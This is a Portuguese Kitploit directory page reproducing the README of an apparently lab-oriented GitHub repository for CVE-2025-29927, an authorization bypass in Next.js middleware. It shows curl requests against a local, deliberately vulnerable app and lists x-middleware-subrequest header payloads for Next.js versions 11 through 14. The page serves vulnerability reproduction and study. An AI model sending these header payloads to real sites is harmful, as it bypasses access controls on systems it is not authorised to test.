Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
vulnerable-nextjs-14-CVE-2025-29927 — não use. vulnerável. | Kitploit
Ferramentas/GitHubGitHub/adjscent/vulnerable-nextjs-14-cve-2025-29927
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubadjscent/vulnerable-nextjs-14-cve-2025-29927

vulnerable-nextjs-14-CVE-2025-29927

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

não use. vulnerável.

Ver Repositório
12há 1 anoAinda não revisado

Reprodução da bypass de autorização CVE-2025-29927

Este repositório é uma reprodução da vulnerabilidade CVE-2025-29927 no pacote next

Como reproduzir

  1. Siga os passos abaixo para clonar e executar o aplicativo Next.js
  2. Teste se a autorização nega o acesso ao endpoint /api/hello
$ curl http://localhost:3000/api/hello

{"error":"Unauthorized"}%
  1. Teste se a autorização funciona quando o token é fornecido
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello

{"message":"Hello World"}%
  1. Agora ela também pode ser contornada se aninharmos middleware 5 vezes no cabeçalho especial x-middleware-subrequest:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello

{"message":"Hello, World"}

Exploração do CVE-2025-29927 em versões antigas do Next.js

As versões 12 e 13 do Next.js costumavam ter uma convenção de nomenclatura diferente para o arquivo de middleware (_middleware.js), que foi alterada para middleware.js no Next.js 14. Esta vulnerabilidade pode ser explorada em versões antigas utilizando o arquivo _middleware.js.

Por exemplo, os seguintes payloads se aplicariam, dependendo da versão do Next.js e da sua convenção de roteamento:

  • curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (para as versões 12.2 do Next.js com o arquivo middleware.js na raiz do aplicativo, não dentro do diretório pages)
    • curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hello
  • curl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (para as versões 11 até 12.2 do Next.js)
  • curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hello
  • curl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello

Começando

Primeiro, execute o servidor de desenvolvimento:

npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev

Abra http://localhost:3000 no seu navegador para ver o resultado.

Você pode começar a editar a página modificando app/page.js. A página é atualizada automaticamente conforme você edita o arquivo.

Este projeto usa next/font para otimizar e carregar automaticamente a Geist, uma nova família de fontes da Vercel.

Saiba mais

Para saber mais sobre o Next.js, confira os seguintes recursos:

  • Documentação do Next.js - aprenda sobre os recursos e a API do Next.js.
  • Aprenda Next.js - um tutorial interativo de Next.js.

Você pode conferir o repositório do Next.js no GitHub - seus comentários e contribuições são bem-vindos!

Implantar na Vercel

A maneira mais fácil de implantar seu aplicativo Next.js é usar a Plataforma Vercel dos criadores do Next.js.

Consulte nossa documentação de implantação do Next.js para mais detalhes.

Baixar ferramenta